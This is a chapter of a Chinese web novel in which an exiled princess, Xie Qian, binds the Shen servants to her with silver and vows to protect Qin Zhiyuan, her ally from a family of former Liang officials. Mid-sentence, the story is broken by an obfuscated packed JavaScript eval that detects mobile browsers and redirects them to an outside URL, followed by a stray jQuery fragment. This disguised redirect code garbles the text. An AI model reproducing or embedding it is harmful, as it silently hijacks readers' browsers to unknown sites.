柱子去回事处第一日,秦嬷嬷便气势汹汹杀到谢浅院子。
谢浅身姿如松,身侧围着沈家护卫仆妇十余人,端着白釉暗花茶盏,轻轻撇着沫,眼神都未曾给一个。
倒是秦嬷嬷被她的架势唬了一跳。
她在秦家二十多年,从未听过夫人有什么姐妹。
原本以为是不知哪里来打秋风的野丫头,准备趁少爷未归便处理妥当,谁知方一照面便被她冷面含笑、从容不迫的气势压得开不了口。
更遑论,她身侧竟是沈太夫人的心腹李嬷嬷。
沈家暗地里对秦家可是诸多照拂。
她一时噤了声。
谢浅有意晾她,悠悠品了许久,方似才看到她一般。
“这位是?”
李嬷嬷上前一步深福道:“禀姑娘,这是表少爷的奶母,秦嬷嬷。”
谢浅轻扬下颌,“原来是秦嬷嬷。我昨日初到,本想拜会府中长辈,但姨父不在府中,又听人说,平章巷沈太夫人平日对表哥多有照顾,故而先去拜会沈太夫人。哪知......”
李嬷嬷闻弦音而知雅意,立刻接道:“太夫人对姑娘一见如故,担心姑娘孤身无人照应,表少爷又是男子恐难周全,故而将我等都拨给姑娘差使。”
秦嬷嬷脸上如打翻酱缸一般,明暗交杂。
谢浅看着秦嬷嬷慌张离去的背影,心内冷笑出声。
这般欺软怕硬愚蠢至极的老货,秦自远竟能把她放到内管事这么重要的位置,可见他平日对府宅之事有多不用心。
他们可不是普通的人家,而是一不小心就要掉脑袋之人。
她蹙起眉头,回头见着秦自远得想办法旁敲侧击一番。
料理完秦嬷嬷,谢浅眼角暗扫沈府众人,心下已有了章法。
祖姑姑给的这些人,一个是心腹李嬷嬷,两个贴身丫鬟,两个外院小厮,四个护卫。
她站起身来,先是道:“诸位从沈府跟着我一介孤女到秦宅,着实是委屈了。”
众人连道不敢。
谢浅笑道:“我知道,你们奉了沈太夫人之命,定会将差事做得稳稳当当。只是,我亦知道,差事是差事,真心是真心。”
“谢浅,愿与大伙真心换真心。”
她不疾不徐从袖中抽出一叠银票。
昨日祖姑姑给了她一枚印鉴,可凭印鉴在自家的景泰钱庄一年取一千两银子,以供内外事花销。如若有其他大事所需,可另商量。
谢浅一早便去钱庄将一千两尽数取了。
舍不得孩子套不着狼。
祖姑姑既然说了归拢人心是上位者第一步,那么就定然在观察她是否有做上位者的能力。
只有过了这一关,金陵的权力才会渐渐向她敞开。
众人皆不敢接,纷纷跪地,唯有李嬷嬷不动如山,既没点头,也没拒绝。
谢浅一一扶起众人,诚恳道:
“诸位随我来秦府,一切乃是未知。既是未知,我便有义务为诸位托底。”
“我谢浅话放在这儿,我绝不亏待自己人!”
“我不仅会为诸位托底,更会为诸位谋高。银票只是见面礼,咱们日久见人心。”
她将一张张银票递到众人手中,见柱子立在远处,招手让他过来,将最后一张银票递给他。
柱子脸涨得通红,连连摆手,“姐姐,我说过不要工钱,给我饭吃就行。”
她轻轻拍他脑袋,“我对你说过,我过什么样的日子,便会让你过什么样的日子。拿着!”
柱子激动得哭出来,众人私下眼神交汇频频。
谢浅仿若未见,大方对四个护卫拱手道:“将来谢浅身家性命就拜托各位了。”
又对两个小厮道,“你们之前各自管什么的,如今想做什么,回头都拟个章程给我。”
交代完后,谢浅将这几人同柱子挥退,屋内只剩下李嬷嬷并两个贴身丫鬟。
她以眼神无声询问李嬷嬷,李嬷嬷轻轻点头。
谢浅便知这两个丫鬟是知道内情的。
“这屋里没有旁人,我就打开天窗说亮话了。如今我刚入金陵,手头掌握的人与事与祖姑姑天差地别。”
“你们遵从内心的想法罢,如若想回祖姑姑那儿,我回头通禀一声。”
“不用害怕祖姑姑怪罪,我自会将理由编好。”
“如若你们愿意跟着我,别的不说,今后你们都将是我身侧最信任之人。”
三人毫不犹豫道:“听凭郡主差遣。”
谢浅目光一个个扫过她们,语气铿锵。
“我对自己人只有一个要求,那便是忠诚。”
“你们既选择跟我,就只能有我一个主子。”
“即使是祖姑姑,也不可以。”
“我对自己人从不吝啬。”
谢浅拔剑出鞘,剑刃寒光迸发,似透进她的声音里。
“我的剑亦从不心软。”
三人应是,深深长拜。
谢浅给两个丫鬟改名冰魂、雪魄后,便让三人皆退下。
她长吁一口气,轻轻软倒在椅上。
接下来,只有秦自远这个重头戏了。
不过几日,谢浅便将秦自远诸多过往摸了个清楚。
他自小聪慧,在金陵有“小神童”美誉,十七岁便秋闱中举,还曾引起一番轰动,成为金陵春闺梦中人。
来年春闱虽落榜,但贵在人年轻,身价依旧不减。
甚至有几家官宦人家,不计较他商户门庭,有意抛出橄榄枝。
可惜,天有不测风云。
秦夫人一朝过世,秦老爷打击过大,竟一心遁入玄门,求道炼丹,云游不知归处。
偌大一个秦府,压在秦自远一个人身上。
他只好脱下襕衫,学着秦父周旋在生意场上。
到如今,堪堪三年。
柱子讲述时甚至还惟妙惟肖地模仿秦嬷嬷喝了酒痛哭的模样。
她总是声泪俱下地感慨他们少爷命苦,原本应是改换门庭的进士老爷,现下却不得不卑躬屈膝、强颜陪笑。
逗得谢浅都笑出声。
谢浅不自觉在脑海中勾勒出一个雅致儒商的画像。
立冬那日,前院来报,秦自远回来了。
谢浅听闻后无可而无不可点点头。
想必,过不多时,他便会知道家中住进了一个“表妹”。
谢浅收拾妥当,等着秦自远登门。
结果直到晚间,廊灯次第点起,谢浅仍未见到秦自远人。
打发雪魄去打探消息,却得知秦自远道路途辛苦,不许任何人打扰,已经睡下了。
翌日,整个白天仍未见到秦自远,一问便是外头有些生意上的事情要处理。
谢浅勾唇。
很好。
金乌西坠,玉兔东升,月色如纱轻柔铺在大地、回廊、檐角。
秦自远一身酒气踏入院中,小厮忙上前接过披风,斟酌道:“少爷,表姑娘那头寻过少爷几回了,是不是明儿请她来拜会少爷。”
秦自远好一会方反应过来表姑娘是谁。
昨日他刚归家时,秦嬷嬷便来诉了好大一通苦,明里暗里要他把这不知哪来的表姑娘赶出府去。
听到“表姑娘”三字,他愣了一瞬,听说是沈府李嬷嬷亲自将人带过来的,便按下疑惑,随口编了个姨母的故事,将秦嬷嬷打发走。
果不其然,不过半晌,李嬷嬷便来提点他。
待知道那人真实身份时,秦自远心惊不已。
他知道自己该主动去拜会,但不知为何,拖拖拉拉两日仍不想行动。
秦自远推开小厮,就着月色,往湖心亭踉跄而去。
初冬夜风裹着些许寒意扑在他面上,他混沌神志霎时清醒大半。
他立在亭中,幽幽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143026|180449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望着粼粼波光中的月亮,皎洁氤氲,随着水波晃动,时而似被揉碎,时而圆满如初。
水中之月,再像真的,也终归是假的。
可总有人不甘心,要将水中之月捞上。
注定失败的事情,他却毫无选择。
“月凉如水,秦公子这是为谁风露立中宵?”
清冽的声音似月色顺着波光流淌而至,秦自远回身,见一姑娘背着手傲然而立,眸光烁亮,唇角弯起,直直望向他。
她身着柳绿袄裙,高髻盘起,发间并无繁复发饰,唯有髻尾发带随风飘扬。
清丽、灵动,又带着些许压迫感。
几乎一瞬,秦自远便猜到来人是谁。
他小心环顾四周,压低声音道:“本该我去拜会郡主,失礼了。”
谢浅无谓一笑,“不过流亡的遗老遗少罢了,谈什么郡主不郡主。”
秦自远没想到对方竟如此直接,一时不知如何接话。
谢浅莞尔,仔细打量眼前之人。
他身着一件月白宽袖圆领袍,领口处用同色线绣了一圈云纹,除此外便再无纹饰。衣角坠着的白玉佩似与冠上是同批料子,天然去雕饰。
比起雅致儒商,他倒更像个素静淡雅、清高自许的读书人。
只是周身散发的沉郁气息,给他增添了几分不得志之感。
谢浅似乎隐隐窥到他内心一角。
她故意道:“我听人说,你是金陵的小神童,十七岁便中举,心下敬慕不已。”
秦自远嘴角微抿,面色无波道:“许久之前的事了,不值一提。”
谢浅面露惊讶,“何至于很久?秦公子不过也才双十出头吧,有如此才华为何不继续科考,再进一步?”
秦自远抬眸望向她,她的惊讶有些许夸张,他无奈叹气。
“郡主莫要明知故问了。”
谢浅扑哧一笑,“不过逗逗你,你太沉闷了。”
见他沉默不语,谢浅笑意渐渐凝起,正色道:“对不住了,让你牺牲至此。”
秦自远知道自己此刻应该表忠心,表明这不算牺牲,可他却什么也说不出来。
也许是她太直接坦率,让他突然想放弃虚与委蛇,哪怕就一刻。
两人并排站着,面向流光闪烁的湖面,许久未说话。
突然,谢浅问:“秦自远,你有何理想?”
“从前有许多,现下,只有一样了。”
谢浅侧脸,挑眉望他。
秦自远苦笑,“我只希望,父亲与我,都能平安。”
“从前呢?”
他垂眸无声笑了下,好一会,方道:“登天子明堂,庇天下寒士,佑万民安康。”
谢浅听出他话中苦涩,她认真看向他。
“秦自远,你会如愿的。”
“若大事能成,你定能做治世能臣,流芳千古;若......我拼死也会安置好你与你父亲,到时,你便去乡里做个教书先生,也能安生过一辈子。”
谢浅见他似是不信,对月起誓:“我姜浅在此立誓,如若大事有成,必让秦自远封侯拜相;如若天机败露,只要我有一口气,便定保秦自远平安无虞。”
秦自远震惊望去,他家是前梁旧臣,性命也好秘密也罢,都握在长安公主手中。
她着实,不必如此。
他看了她许久,而后肃然深拜。
谢浅用力扶起他。
“我知你这两日不愿来见我,是因心中杂乱,不想面对却又逃离不开。”
“你我是并肩而战的战友,你并非我姜浅的垫脚石。”
“纵使现下身份非你所喜,我亦不希望你沉郁寡欢、顾影自怜。”
“大丈夫在世,往前看,莫回头。”
秦自远定定看着她似有星光闪烁的双眸,听见清冽如泉的声音继续流淌。
“鸿鹄虽自远,哀音非所求。”①